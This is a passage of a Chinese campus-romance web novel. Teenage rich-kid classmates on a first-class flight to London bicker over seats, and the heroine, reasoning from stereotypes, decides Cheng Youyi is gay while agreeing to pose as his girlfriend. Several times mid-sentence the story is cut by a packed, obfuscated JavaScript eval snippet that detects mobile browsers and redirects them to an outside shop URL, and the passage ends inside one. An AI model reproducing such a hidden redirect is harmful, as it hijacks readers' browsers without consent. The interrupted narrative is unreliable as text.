刚下车,就听到一阵七嘴八舌的嘲杂声。距离近,女生们嘀咕的声音不小,她听得清楚。被吐槽的对象就俩人,一个是陆浅,另一个就是她自己。 原因很简单,无非就是因为周悉丞和程又一这俩祸水。但陆浅追周悉丞起码是铁打的事实,可她和程又一完全是捕风捉影,这狗屁绯闻真是给她招来不少麻烦。 她环视一圈,视线凑巧撞上程又一。 那人面无表情,让人猜不透在想什么。 周悉许别过视线,怕多看一秒再引起不必要的误会。 这阵子程又一很消停,没搭话,也没那些让她很反感的行为。如她所希望的,两人间界限清晰。再看程又一,也没那么碍眼了。 “点个到,看看人有没有到齐。” 带队老师把手里的名单递给她旁边的学生。这女生周悉许有印象,叫柳宜菲。坐在徐途后桌,是个班干部,在学生中很活跃。 柳宜菲扶了下鼻梁上的眼镜,对着名单上的名字一个个念起来。 南洋还是和每年一样,照例和国外航司包了客机。头等舱一共六个套房,一票难求。六个位置被程又一和篓恩占了两个,另外四个被周悉许四人拿下。 六个人站在优先登机口。 陆浅叽叽喳喳分配着位置,谁都知道她什么心思,无非是想和周悉丞挨着,盘算着怎么把隔板降下来。 “小叔,你和悉丞一起?还是和我一起?还是和疯狗一起?” 陆浅直奔主题,首先拿自家人开刀。她猜陆竞会和她一样,粘着周悉许,所以让陆竞先选,能显得自己矜持一些。 但陆竞的回答,气得她脸都白了。 “我和悉丞一起,刚才看了登机牌。” 昨晚陆竞和周悉丞正玩着游戏,陆浅突然杀过来,死皮赖脸地拉着两人陪她看电影,磨得他们头大。换登机牌前,两人留了个心眼,提前串通好了,为的就是离陆浅远一点。 陆浅撅嘴抗议,“不行,我不要和疯狗一起。” “你以为我想和你一起?登机牌上没座位号吗?用得着你分配?”周悉许直接开怼,“想和周悉丞一起就直接说,用不着拐弯抹角。” 陆浅恼了,“疯狗你胡说什么!”转头又对周悉丞撒娇,“悉丞你管管她。” 周悉丞本来就不爱搭理她,更是懒得管她和周悉许的恩怨。毕竟上个不知死活管她俩的,被打破了脑袋,有了陆竞这个前车之鉴,他躲还来不及。他扭头朝陆竞使了个眼色,两人一前一后朝机舱走去。 剩下陆浅和周悉许,还有她们身后的程又一和篓恩。 周悉许余光扫了一眼程又一。 他正低着头看手机,对这边的闹剧毫不关心,但拇指在屏幕上停了很久,一个字都没打。似乎是察觉到她的视线。他抬头看了她一眼。 很短,然后移开。 那一眼没什么情绪,像在看陌生人。 这人变得还挺快。但转念一想,这不就是她想要的吗? 清净。 周悉许别过脸,不再看他。 “你上去和我小叔换,听到没有。”陆浅掐着腰,校园大姐大的派头。 周悉许从来都不是软柿子,更受不了人对自己颐指气使,尤其这人还是陆浅。她也来了脾气,“想得美。” 周围嘀嘀咕咕的声音越来越大。 陆浅扫了一圈。 她和周悉许已经成了围观群众的笑料。经济舱排队的学生都在抻着脖子看热闹,恨不得就地拿出瓜子和小板凳坐着看她俩表演。她觉得很丢脸,声音压低了,“你声音小点,丢人。” 篓恩离得很近,即使她的声音很小,还是听的到,他憋不住笑,“这样吧,周悉许和程又一一起,你和我一起,怎么样?” 陆浅瞪了他一眼,“这位牛郎,我和你熟吗?” 周悉许“噗嗤”一声笑了。其实她也觉得篓恩这身打扮挺轻浮,被陆浅这么一说,真有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586020|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛郎那范儿。 篓恩瞬间炸毛,“说谁?你懂什么是帅吗?” “懂,这词和你没什么关系。” 篓恩舌头抵了下腮帮,扭头看向经济舱那边排的长队。 一堆女生笑得合不拢嘴。 他很气,但无奈对方是女生,也不能拿她怎么样,只能吃瘪,“行,你好样的。” 托篓恩的福,周悉许脱离了苦海,她抬脚朝机舱走去。 程又一跟了进去。 —— 上了飞机,周悉许找到自己的位置。趁飞机还没起飞,她打开随身背包,拿出自带的居家服,去洗手间换上。虽然飞机上有提供免费的,但她还是习惯自备。 回来时,陆浅和篓恩也登机了,俩人吵得不可开交,闹哄哄的,让人心烦。周悉许戴上耳机,漫无目的地翻找电影,打算分散下注意力。 手指上划,甜茶的侧脸吸引了她的视线。 《纽约的一个雨天》 名字看上去有点意思。坐在去伦敦的飞机上看这个,再合适不过了。周悉许当即决定:就看它了! 毕竟,她拒绝不了甜茶。 由于昨晚熬夜的缘故,电影播了没一会儿,她就睡着了。迷迷糊糊不知道过了多久,被几声敲击震醒。 隔壁在敲隔板。 力度不重,只是物理传导震得她这侧的板子也跟着颤。 周悉许翻了个身,不想理。 隔板又响了三下,不急不慢的,像在敲门。 她深吸一口气,降下隔板。 程又一的脸出现在眼前。 此刻,他和自己一样也倚在床上,两张床几乎是紧挨着的。周悉许睡觉习惯靠里侧,而程又一此时正侧身朝着她的方向,和她面对着面。两人之间的距离不足两掌,近到她能闻到他身上淡淡的薄荷清香,甚至还能看清他睫毛的弧度。 眼下这场景……暧昧得过分。 周悉许往后挪了挪,“敲隔板干嘛?” 程又一还是保持原样,语气很淡,“好奇隔壁是谁。” 这理由姑且说得过去。但总共就这么几个人,用排除法也该猜得到。 “现在知道了。”她冷淡地丢下一句,直接升起隔板,没管对面的反应。 程又一的脸一点点消失,那双眼睛一直看着她,直到隔板合拢。 周悉许倒回床上,盯着隔板看了几分钟。 神经病。 她翻了个身,背对过去,把毯子拉到肩膀。 刚才…… 她没有看错吧?程又一在看甜茶的电影? 虽然只是匆匆一瞥,但那个画面她很熟悉,是Elio和Oliver躺在草地上亲吻的镜头。阳光透过树叶,碎成金箔,洒在两个人的身上。 这电影,她看过。 《请以你的名字呼唤我》 她的手指在毯子底下蜷了一下。 直男会看这种电影? 那些露骨大胆的情节,他看了不会不适? 周悉许盯着灰白色的隔板,不受控制地回想这段时间的种种—— 每年都去英国、喜欢吃巧克力、爱看同志电影……所有碎片在脑子里转了一圈。 一个大胆的猜测成形。 她说不上是真是假,但所有的细节拼在一起,指向同一个方向。 原来是这样? 她嘴角微微翘起,又很快压下去。 隔板那边安安静静的,没有再敲。 窗外,云层很厚。 飞机正飞越乌拉尔山脉。 距离伦敦,还有十二小时。 8. 当我女朋友 为了验证这个猜想,周悉许打开你知我知论坛,搜了些相关话题,顺手发了个帖子: 【直男会看同性题材的电影吗?】 没几分钟就收到一堆回复。 人生不直:想什么呢,这种电影只有腐女和通讯录会看。直男会非常抵触,他们怕自己变弯(坏笑) Jolin的小粉:完全不需要质疑,看同性题材的必是弯的。直男看不下去,尤其是那些有颜色的画面,吓死他们。 钢铁直男:本人直男,表示看不了一点。 腐国123:个人觉得也不能一概而论,也要看他对异性是不是感兴趣。如果一把年纪还没谈过异性,那多半跑不了。 周悉许翻着评论,认可地点点头。 她觉得很有道理。 以程又一的长相,但凡他对异性感兴趣,谈过的女朋友早就数不过来了。虽然没刻意了解过,但多多少少听到些传言,“不近女色”是她听过最多的词。当时她也想不明白,一个不近女色的人为什么要来招惹自己。 总不可能是对她一见钟情? 这种事发生的概率太小了,起码在她的生活中没遇到过。况且她觉得程又一的招惹带着点挑衅,像是在刻意刷存在感。如果他真对自己有歪心思,照理来说应该像篓恩那样说些好话,就算性子高冷,也不至于拼命作死。 周悉许想不通。 篓恩….. 提到篓恩,早上他和程又一靠在一起的画面一闪而过。 难不成…… 程又一对她的反常是因为篓恩? 最近发生的事在脑子里过了一遍: 起初,是篓恩对她感兴趣,程又一嘲讽她。后来,篓恩把她当普通同学,程又一恢复冷漠。而今天,她无意间发现程又一喜欢看同性题材的电影。 把这一切串联起来,脉络逐渐清晰,所有的细节貌似都指向一个结论: 程又一或许…… 喜欢篓恩? 换做别人,可能会被这个猜测吓一跳。但周悉许不会,非但不会,她还觉得很合理。 甚至兴奋。 她刷了一会儿评论,又有点犯困,眼皮沉沉地粘到一起。 刚要睡着,被篓恩的大嗓门吵醒了。 “程又一,快救我,我要死了。” 周悉许烦躁地抓了抓头,太阳穴生疼,抬手重重地在隔板上捶了几下。她没说话,但长脑子的都知道是什么意思。 隔壁安静了。 她迷迷糊糊合上眼。 没过几分钟,篓恩又突然大喊,“程又一,掩护我!撤撤撤!速度速度!” 周悉许瞬间惊醒。 她腾地坐起来,睡意全无,火气顶到嗓子眼。 她降下自己这侧的隔板,就看到隔壁那俩人快焊到一起了。篓恩整个人半挂在程又一身上,腿还不老实地晃着,很随意地蹭着程又一的小腿。两人正捧着手机,聚精会神地打游戏。 没察觉到有人在看他们。 经过刚才的分析,再看眼前这一幕,很难不多想。 这俩人的性格,一个冷酷,一个开朗,又是从小一起长大的朋友。 倒真是标准配置。 程又一先觉察到视线,抬头朝她看过来。 她回过神,大骂,“你鬼叫什么!飞机引擎声都遮不住你的大嗓门,还有别人呢!” 篓恩稍微抬头,眼睛还是死死盯在手机屏幕上,应付了句,“嗯,我控制下。” 周悉许知道这货就是随口一说,根本没走心,甚至都不知道自己说了什么。她也懒得啰嗦,发泄完火气就准备关隔板。 “要一起玩吗?” 程又一叫住她,晃了晃手机。意思很明显,是在问她要不要一起玩游戏。 篓恩依旧没抬眼,阴阳怪气道,“你特么能不能说全了,一起玩手游!别再又惹到人家,吓的老子一身冷汗。” “不会。”周悉许摇头。 “你会什么?”程又一问。 “大部分游戏都不会,对游戏没什么兴趣。”她想了几秒,“我会斗地主。”虽然听着有点尴尬,但确实是她唯一会的游戏。 篓恩“哈哈哈”一阵狂笑。 “不是吧你!大妈玩的游戏!你要逗死我嘛周悉许!” 由于篓恩得意忘形,游戏提前结束了。 “卧槽,死了。” 周悉许还没来得及回怼,就听到程又一说,“好,就玩那个。” 程又一这反应让人挺意外的,她没想到。倒不是歧视斗地主,只不过这游戏和他这人挺不搭。 正想拒绝,篓恩先开口了。“你认真的?要玩你玩,我不玩。”他吊儿郎当地拿起桌子上的坚果,自己抓了几个,又递给旁边人。 程又一接过来,没吃,直接递给周悉许。 “她坚果过敏。”篓恩说。 程又一看他,“你怎么知道?” 是审视的眼神。 “有那么回事。”篓恩挠挠头,懒得解释。 程又一没追问,收回手,“一起玩,没你不行。”他用脚踢了下旁边的人,动作随意,像是对待自家的猫。 在周悉许眼里,这算调情。 看着两人的互动,她更加坚信自己的猜测。 她不想当电灯泡,“我很久没玩了,你们玩吧,只要你声音小点。”她伸手指了下抖着二郎腿的篓恩。迟疑片刻,又看向程又一,“勇敢做自己,不可耻。” 而后升起隔板。 程又一一头雾水。 这话是对他说的? 周悉许的眼睛当时看的是他,应该不是说篓恩。莫名其妙说这没头没尾的话,是想表达什么? 想了几秒,他无奈摇摇头。 看来自己在周悉许那儿的坏印象又多了一分。明明是篓恩嘲笑她玩斗地主,躺枪的却成了他,还不如破罐子破摔。 旁边,篓恩先是一脸懵,看了程又一两眼,随即反应过来,笑得前仰后合。 “记仇了,小女生都这样。”他拍拍程又一的肩膀,故作语重心长,脸上却是幸灾乐祸。 经过这一番折腾,周悉许彻底睡不着了。脑子里全是刚才的画面,她反反复复仔细分析,更确定那俩人一定有情况。 虽然程又一隐藏得很深,但逃不过她的法眼,毕竟这方面她是绝对的行家。 之后,那边一直挺消停。 不知道那俩人在搞什么名堂。 —— 临近午饭时间,机舱里闹腾起来,脚步声和说话声搅在一起,还夹着咕噜呼噜的闷响,一下一下的,像在拉东西。 周悉许起初没理会,但门外的动静越来越大,烦得人脑壳疼,她终于还是走过去,拉开了门。 门一开,就看见陆浅站在外面,手里拉着一只行李箱,身后是提着旅行包的陆竞,还有闻声出来的其他三个人。 “又折腾什么?”周悉许问。 陆竞一脸无奈,“浅浅要和我换位置。” “……”早就该想到会闹这么一出,依陆浅这刁蛮大小姐的性子,候机时候没如她的意,上了飞机肯定不会罢休。 周悉许朝陆浅竖起大拇指,“闹这么大动静,你是真牛逼。” 陆浅瞪了她一眼,“疯狗。”她气呼呼地把手里的行李箱推给乘务员,口气硬邦邦的,像在发号施令。 “你,给我放进去。” 这个乘务员周悉许有印象,刚才给她提供过服务,人长得漂亮,身材也好。 她虽然不是素质多高的人,但看不惯陆浅迁怒别人,“拿别人撒什么气。” “要你管?” “哪敢管你啊。”周悉许偏头看周悉丞,调侃道,“你小心点,拉好你那边的板子,当心她晚上翻过去,你童子身就没了。” “管好你自己。”周悉丞冷冷地回。 原本陆浅还在气头上,听到周悉丞的话,瞬间多云转晴。她觉得周悉丞是在帮她教训周悉许,火气烟消云散。她捏着嗓子,用自认为温柔的声音说,“悉丞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她把餐食放在餐桌上,声音比之前柔了几分,弯腰时多停了一瞬,身体有意无意地向前倾了倾。 目的一目了然。 程又一往后靠了靠,拉开距离。 “因为不知道您是否成年,所以酒水?”乘务员试探着问。 程又一没抬眼,“无糖可乐。” 乘务员神色暗了些,但很快又恢复,“那祝您用餐愉快。”说完退了出去。 程又一扫了眼餐桌上的食物,视线落在那块巧克力蛋糕上。他打开吃了一口,急匆匆走到床边敲了敲隔板。 周悉许饿得都快虚脱了,正打算狼吞虎咽,突然被打断,心情很不爽。 隔板缓缓降下来,她没好气地问,“干嘛?” 程又一朝里面的餐桌张望,“你点了什么?” “安格斯牛里脊。” 周悉许语气里的不耐烦快溢出来了。心想点什么和他有什么关系? 见餐桌上有一块和自己一样的蛋糕盒,程又一紧张地问,“那个你吃了吗?” “没有。” 他表情缓和些,又恢复了平时那张扑克脸,“里面有榛子酱。” 周悉许顿了几秒。 原来他是好心提醒。 自己对他是不是有点过激了? “嗯,谢谢提醒。”她有点过意不去,手指在桌沿上蹭了一下,又不知道该说什么,脸色略微有些不自然,“那我吃饭去了?你也赶紧吃吧,等下要凉了。” 看到对方点头,她回到餐桌前继续用餐,叉子戳进牛里脊里,大口吃起来,一时忘了收起隔板。 程又一没动。 半晌,像是想通了什么事,嘴角微扬。 他折回餐桌,从牛皮纸袋里取出一块蛋糕,看了眼包装上的配料表,确认无误后才端着走到隔板前。站定时顿了一秒,手指在蛋糕盒边缘轻轻叩了一下,像在组织措辞。 他伸手敲了敲中间的隔条。 周悉许回头,“还有事?” “嗯。” “什么事?” “帮个忙呗。” “什么忙?”周悉许嚼着食物,口齿不算清楚。 “当我女朋友。” 她手里的叉子停在半空中。 “啊?” 9. 到床上来 “程又一,你说什么?” “让我当你女朋友???” 周悉许不敢相信自己的耳朵。漂亮的杏眼瞪得像铜铃,眼里不再是平时的冷淡,取而代之的是不可思议。 “你不是——”gay没说出口,硬生生被咽下去。“我不是早就说了嘛,对你没兴趣!” 这人是哪根神经错乱了?还是说又在变着法捉弄人?又或者......他是男女通吃? 见周悉许反应这么强烈,程又一苦笑。 “你别激动,我是说装。” 周悉许长舒一口气,卸下负担。 原来是听错了。 恢复冷静后,她问,“平白无故干嘛让我装你女朋友?” 程又一伸手递过来一块蛋糕,“帮忙挡挡烂桃花。” 周悉许垂眼,看着他手上的蛋糕。这熟悉的包装和Logo,是她经常买的那家甜品店。 “你怎么知道我喜欢胡萝卜蛋糕?” 程又一没作思考,“不知道。”他又朝前抬了抬手,“刚好我也喜欢。” “为什么找我?” 周悉许没接。一想到程又一身边那些小蜜蜂,她脑袋就疼,“盯上你的人又不少,我挡得过来?” “不是在学校,就在这儿。” “这儿?” “嗯,有个乘务员想扑上来。” “那换个人服务不就好了,搞那么麻烦。” 周悉许不太想帮忙。她觉得这是很简单的问题,没必要复杂化。 似乎是早就预料到她会这么说,程又一没思考,直接道,“那多影响人工作,人赚钱也不容易。”他观察着周悉许的神色,见她有些动容,又说,“人得养活自己,我不想断人财路。” 果然,周悉许面露难色。 程又一知道他押对了。 周悉许掂量着程又一的话,说得也不无道理。 那个乘务员看着年纪和他们差不了多少,却早早步入社会,应该是有生存压力的。 她不太了解普通人的生活,但起码她接触到的人,在这个年纪不需要为了生计发愁,更不需要自食其力。 “换个人服务会让她丢掉工作?”她不确定,想了想又补充道,“或者可以和机组人员说一下别为难她。” 程又一想了几秒,“倒也可以这么说,但……我不想给人一种错觉。” “什么错觉?” “让她和别人都以为我在乎的错觉。”他慢条斯理道,“我只是不想多事,但可能到别人那,会被解读成特意关照。” 周悉许了然。 她理解这顾虑,因为这种事在她身上也发生过。有时候只是无心之举,但传着传着就偏离了她本意。 久而久之,很多事就变味了。 程又一没有各种绯闻缠身,应该是很在意自己的名声,所以处理这些事才会这么谨慎。但问题是,和她搅合在一起,影响不是更大? 毕竟,周悉许这个名字可是家喻户晓的。 “让我装你女朋友,万一传出去,后果可是很严重的。”她提醒道,“我建议你找别人,比如陆浅。她除了任性点,方方面面和你挺配。传出去也好听,没准你们两家人还能挺满意。” 她说的是实话,也很诚恳。陆浅是出了名的有钱有颜有才华,除了脾气差,其他都算是一顶一的好。 “她喜欢你哥,整个飞机没人不知道。” “那你实在不行,找篓恩。” 她没过脑子,直接说出心里话。话既然说出口也收不回来了,她索性试探。“装你俩是同性恋,她不就彻底死心了。” 程又一冷哼一声,“你觉得,这说得通?” 周悉许认真想了想。 好像……是不太说得通? 但问题是,她脑子已经顺着这个思路跑出去八百里了,一时半会儿刹不住车。 难道,真是她想偏了? 那套推理又拎出来转了一圈,她心里下了个结论:这人就是装得太深。表面上云淡风轻,私底下偷偷看电影填补空虚。 这不就是深柜标准操作?所以说……她想的没错! 这也不能怪他,毕竟这年头谁还没点秘密,伪装也是正常。 她自己不也...... 周悉许收回思绪,再看程又一的眼神多了些感同身受。 “那个……”她斟酌了一下,“其实吧,我觉得这个想法也不是完全没道理。” 程又一挑眉看她。 她被看得有点心虚,但话都说到这个份上了,硬着头皮也得圆回去。 “我是说,”她清了清嗓子,“其实同性恋挺多的,国外都可以合法结婚了,我就认识好几个,现在都鼓励恋爱自由,别太封建了。” 程又一嘴角一扯,“你这是……要把我掰弯?” “……”还用得着人掰?真能装。“没有,我就随便一说。” 程又一盯着她看了好一会儿,忽然笑了。 “行。”他说,“万一她想给我掰直呢?” 说者无心,听者有意。 在周悉许看来,他是默认了,只是还没勇气承认罢了。 她识趣地没再追问。“先吃饭吧。” “那就当你答应了。”程又一自顾自道,随后走到餐桌前也准备开动。 “谁跟你说我答应了?”周悉许伸长脖子朝程又一喊。 对方无动于衷,并没有回话的意思,他悠哉悠哉地拿起餐具,明显是故意晾着她。 这人还真是…… 周悉许在心里骂骂咧咧地抱怨,肚子也跟着叫了两声。她放弃和程又一继续掰扯的想法,大步走到餐桌前。 还是先干饭吧。 她大口吃着食物,看着电影里甜茶帅气的脸,刚才的小插曲被抛到九霄云外。 此时的画面很和谐,两个人都各自吃着自己的餐食,相同的菜品,电视里也都播着甜茶的电影。万里高空中,看上去异常同频。 —— 吃完饭,周悉许瘫在沙发靠椅上继续看电影。 旁边人问,“这么喜欢?” 她还沉浸在剧情里,随口应道,“还行吧。” 说完才觉得不对劲。 她猛地转头,程又一不知道什么时候坐到了她旁边。他倚着床,视线落在她前面的电视上,一副很感兴趣的样子。 他也喜欢甜茶? 周悉许想了想,觉得也不是没这个可能。甜茶早期确实秀色可餐,长在某些人的审美点上也是正常的。至于是哪些人……她没往下想。 “你觉得呢?这类型怎么样?”她问。 “不怎么样。” “……” 也对,他爱好篓恩那一挂的,清清爽爽的入不了他眼。 品味还真是与众不同。 周悉许撇了撇嘴。 “你审美不太行,就这奶里奶气的,还不如篓恩。”程又一吐槽。 “确实和篓恩比不了。”周悉许意味深长地看了他一眼,着重强调后半句,“尤其是在你眼里。” 程又一没听出她话里有话,只是觉得她态度转变挺大的。前阵子还把他当瘟神,现在竟然肯和他聊聊明星。虽然不知道是什么原因让她改变了,但总归是他所希望的。 “说真的呢,女朋友,你审美可以稍微转变下。”程又一轻佻地抬了下眉,胆子更大了些,“比如多看些性张力强的。” 周悉许自然不知道他所谓的“性张力强”是指谁。脑子里闪过几个肌肉猛男的形象,默默翻了个白眼。 原来好这口。 不过转念一想,也合理,毕竟很多人都喜欢肌肉男。她收回思绪,把重点拉回到正事上,“女朋友”这个称谓才是眼下该掰扯清楚的。 “你正经点,别乱开玩笑。” “哪不正经?刚才你不是都答应了。” 周悉许深吸一口气,“我什么时候答应了,是你自己说的。” “别这样,又不是真的,至于这么慎重吗?” 倒也是。 就是一场戏而已,确实不算大事。充其量也就一晚上,去掉睡觉的时间没剩几个小时。 周悉许松了口,“行吧,我怎么配合?” “从现在开始演我女朋友。” 程又一定定地看着她。 她不自在地移开视线,“怎么演?” “角色带入一下,试着想想你现在就是我女朋友。” “挺难带入。”周悉许泼了盆冷水。 程又一:“……” 她又灵光一闪,“你等下,我问问网友。” “这还用问网友?” 周悉许摆弄着手机,不走心地回,“不然呢?又没这方面的经验,鬼知道该怎么弄,集思广益肯定没错。” 程又一莫名心情大好。 “那你问仔细点,别漏下重点。” “知道了。” 周悉许打开你知我知论坛发了个帖子: 【情侣之间该做什么?】 很快就收到一堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周悉许没再搭理他,拿了个毛毯披在身上,打算补一觉。她整个人蜷缩在躺椅上,刚吃饱饭,窝得胃不是很舒服,但又不能去床上躺着,毕竟旁边就有个人,太暧昧了。 “到床上来。” 程又一翻着电影,说得很随意。 周悉许差点以为自己听错了,“什么?” 虽然程又一性取向不明朗,但说到底也是个公的,男女有别她还是懂的。更何况,她身材还不错,如果他是个攻,没准真能被掰直。 “你现在的身份是我女朋友。”程又一面不改色,说得有根有据,“谁家女朋友和男朋友隔着十万八千里看电影?” “那也不能——” “又没让你来我床上,就各自在自己床上看电影而已。” 也对。只是看电影而已,又不是要做点什么。 “看你这表情——”程又一盯着她看,“想的不只是看电影?” 被戳中,有点挂不住脸。 但她是那种越心虚越理直气壮的人,硬是装出不在意,大大方方走过去,“不知道你在说什么屁话。” 她倚靠在自己这侧的床上,刻意和程又一拉开些距离。但床本身就不大,哪怕她已经接近床的边缘,两人之间还是只隔了一个枕头的距离。 程又一翻翻找找好一会儿,最终选了个纯得不能再纯的动画片:新海诚的《你的名字》。 还真是让人惊喜。 弄了半天,这人就是个嘴炮选手。 周悉许放轻松了些。 暂且抛开程又一的性取向不说,就算他是个直男,也是个只会动嘴的怂货,没什么好担心的。 “看过吗?”程又一问。 她摇头。虽然早就听过这部口碑俱佳的神作,但她对日漫兴趣不大,也就没看。 程又一没再说话。 随着东宝株式会社的片头一闪而过,漫天的流星拉开了整个影片的序幕。 周悉许安静下来,有一搭没一搭地盯着屏幕。 旁边的人再次开口,“我很喜欢里面的一句台词。” 她转头。 猝不及防撞上程又一的视线。 他眼神很深,带着几分她从未见过的认真。 在当下,有些不合时宜。 毕竟两人之间的关系彼此都心知肚明。 周悉许仓皇逃离视线,扭头看向屏幕,装作如无其事。 随后,身边传来程又一的声音,低沉,富有磁性,在万米高空的静谧里格外清晰。 “我们的相遇绝不是偶然。” 10. 非礼勿视 咚咚咚—— 敲门声打断了套房内不寻常的氛围。 “乘客,方便帮您撤一下餐盘吗?” 两人对视一眼,程又一开口,“进。” 门外站着的是那个乘务员,她脸上挂着笑,“打扰了,帮您撤一下餐盘。” 兴许是没看到周悉许的缘故,她声音比之前甜了几个度,娇滴滴的,感觉像在撒娇,光是听着就让人心痒。她扭着细腰,风情万种地走进来。高跟鞋踩在地毯上,没发出一点声音。空气中飘过浓郁的香水味,甜得有些刻意。 周悉许斜眼瞟了下程又一。 他还是平时那副表情,注意力全在电视屏幕上,没分毫偏离。 很明显,他不感兴趣。 这人定力是真的强,竟然看都不看一眼,完全当人家是空气。这反应淡定得过分了,甚至超出了一个正常男性该有的下意识行为。 周悉许再一次肯定了她之前的判断。 眼前这乘务员还在卖力扭着腰身,根本不知道其实是在对牛弹琴。她以为只要自己足够妩媚妖娆,程又一肯定会拜倒在她的石榴裙下,但她却忽略了一个关键点:并不是所有男的都爱好女色。 人家压根就不喜欢女的,她再怎么努力也是白费力气,还不如趁早换个攻略对象。 可似乎也没其他人选,毕竟头等舱就这么几个男的,拿下周悉丞和陆竞也不见得就比程又一容易。隔壁那个倒是不需要大费周章,但程又一肯定不会袖手旁观。 乘务员笑着走进来,一眼看到对面。隔板降了,两间套房连成了一间。周悉许正靠在床上看电影,程又一就在她旁边。 她微微愣了一下。 这俩人是什么关系? 照刚才的情形看,应该不是情侣。但眼下这场面又引人遐想。 她回过神,很快恢复表情管理,弯下身收拾桌上的餐盘,动作规规矩矩,不再带有任何暗示性的诱惑,整个人专业又得体。 周悉许不免有些佩服她。 伪装得真好。 刚刚还是迷人小妖精,转头就成了职场女性,身份切换自如,果然不是一般战士。要不是亲眼所见,她甚至都怀疑程又一是在自作多情。 对于这种人她倒是无感,虽然没有好印象,但也谈不上厌恶。毕竟每个人的成长环境不同,生存之道也自然有所差异。 她出生在顶层,不了解底层人民的摸爬滚打,只要不触及法律和道德的底线,她不想多做评判。一些让人鄙夷的行为背后或许都有它的难言之隐,也可能只是纯粹的贪念。 但这些都和她无关。 “乘客,您的餐盘需要清理一下吗?”乘务员收拾完餐桌,轻声问周悉许,笑得礼貌大方。 “嗯,直接进就可以,谢谢。” “不客气的。”乘务员笑着回,转头又看向程又一,“乘客,您还有什么需要吗?” 依旧是标准的职业微笑,但投向程又一的目光多了些温柔,声音也甜了几分。和对待周悉许的态度不一样,但又没有过于明显,分寸拿捏得当。 程又一没回她,转头看旁边人,“需要什么?” 周悉许刚才吃了不少,肚子撑得满满当当,没有多余的空间再进食了,“没什么要的。” 程又一没转达。 乘务员静静等了两秒。 没人再说话。 她心下了然,脸上依然是礼貌的笑,没半分窘迫和尴尬,这种局面她应对自如。“那有需要的您再叫我。” 这话是对程又一说的。 退出套房,门关上,她嘴角的弧度压了下去,黑着脸离开了。 周悉许把一切看在眼里。 程又一的冷漠和之前听说的如出一辙。面对这么一个大美女,不解风情也就算了,他竟然能做到丝毫不顾及对方的颜面。 果然,不直! 周悉许偷偷打量他,试图分辨他究竟是1还是0。 “怎么?很帅?” 被抓到现行,周悉许指尖一顿,急忙别开眼。“少自恋,我只是在想,你是怎么做到能拒绝人一大美女的投怀送抱。” 程又一不紧不慢地勾起嘴角,眼尾微微一挑,似笑非笑地睨着她。 “很难理解?” “嗯,毕竟人长得是挺美的,而且身材又好,还温柔,一般男的很难不感兴趣吧。”周悉许纠结了下,又补充,“只要是喜欢异性,喜欢同性当我没说。” “那你就当我是——” 程又一不动声色地往她那边挪了半个拳头的距离,故意停了几秒。目光从她眼睛滑到嘴唇,又慢悠悠收回来。 周悉许被他看得有点不自在,下意识往后缩了缩。 “——眼光很高。” 周悉许:“……” 说话就说话,看什么看?还凑这么近。她往后靠了靠,把毯子往上拉高了些。 程又一嘴角弯了一下,没再靠近。 这人是什么意思? 断句断得模棱两可,究竟当他是同性恋?还是当他是眼光高?说得不清不楚,让人摸不到头脑。可总觉得他是故意的,想透露点什么,又不敢正大光明。 总之,挺矛盾的。 她没再接话,转头继续看电影。 —— 而此时,机舱尽头。 乘务员正心不在焉地整理着收下来的餐盘。 程又一的态度让她很受挫,但她还是不甘心,想再试试。她好奇周悉许和他究竟是什么关系,按理来说,但凡两人真有点什么,媒体早就炸开锅了。 同事见她阴沉着脸,凑过来问,“怎么了?” “没怎么。” “没怎么你哭丧个脸?” 她掏出随身携带的小镜子,照了照,转头问,“程又一你听过没?” “怎么可能没听过,我又不是外星人。”同事夸张道。下一秒眼睛睁得老大,“他在头等舱?” 乘务员点头。 同事恍然大悟,“难怪。” “对了,你听说过他有女朋友吗?” “没有。”同事摇头,“他不是高中生吗?” “嗯,貌似高二。” “那就是小屁孩一个,就算早恋,外面的人怎么会知道?”同事轻轻撞了撞她,“校园恋你还不懂吗?都偷偷摸摸的。” “有道理。”她晃了晃手里的毛毯,“我先去忙了。” —— 头等舱。 周悉许看得认真,电影里女主的一句话,把她的思绪拉回了那年伦敦的演奏厅。 “如果我们能够相遇,一定能一眼认出彼此。” 她也不知道为什么会想到那个人。 明明是毫无关联的,可就是不自觉。脑子里闪过一张模糊的脸。一个她以为早就忘了的人。 “会认出吗?”她低语出声。 声音很小,但程又一还是听到了。他的目光从屏幕移到她脸上,停了几秒。 “会认出。” 周悉许这才意识到自己刚才不小心说出来了,还被程又一听到了。尘封已久的心事仿佛昭然若揭,有种被窥探到内心的慌乱。 她赶忙把话题扯到剧情上,“看过别剧透。” 程又一很识相,没再多话,但他看她的眼神,比刚才深了一些。 周悉许假装没注意到,手指在毯子边缘无意识地卷了卷。 套房内又陷入一片死寂。 两人各怀心思,注意力都偏了。周悉许在回忆那段遥远的往事。而程又一在想什么,不得而知。 过了好一会儿,程又一忽然开口。 “你觉得我怎么样?” 周悉许看他,一脸不解。 这问题突如其来,她没搞懂程又一的意图,单单从字面理解,是个很简单的问题,但结合不同身份,又很复杂。 “怎么突然问这个?” “没什么,就随便问问。”程又一冲她一笑,表情随意,“别紧张,就闲聊,怎么想的就怎么说。” “没见你之前,感觉你应该跟周悉丞差不多,就那种挺完美的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 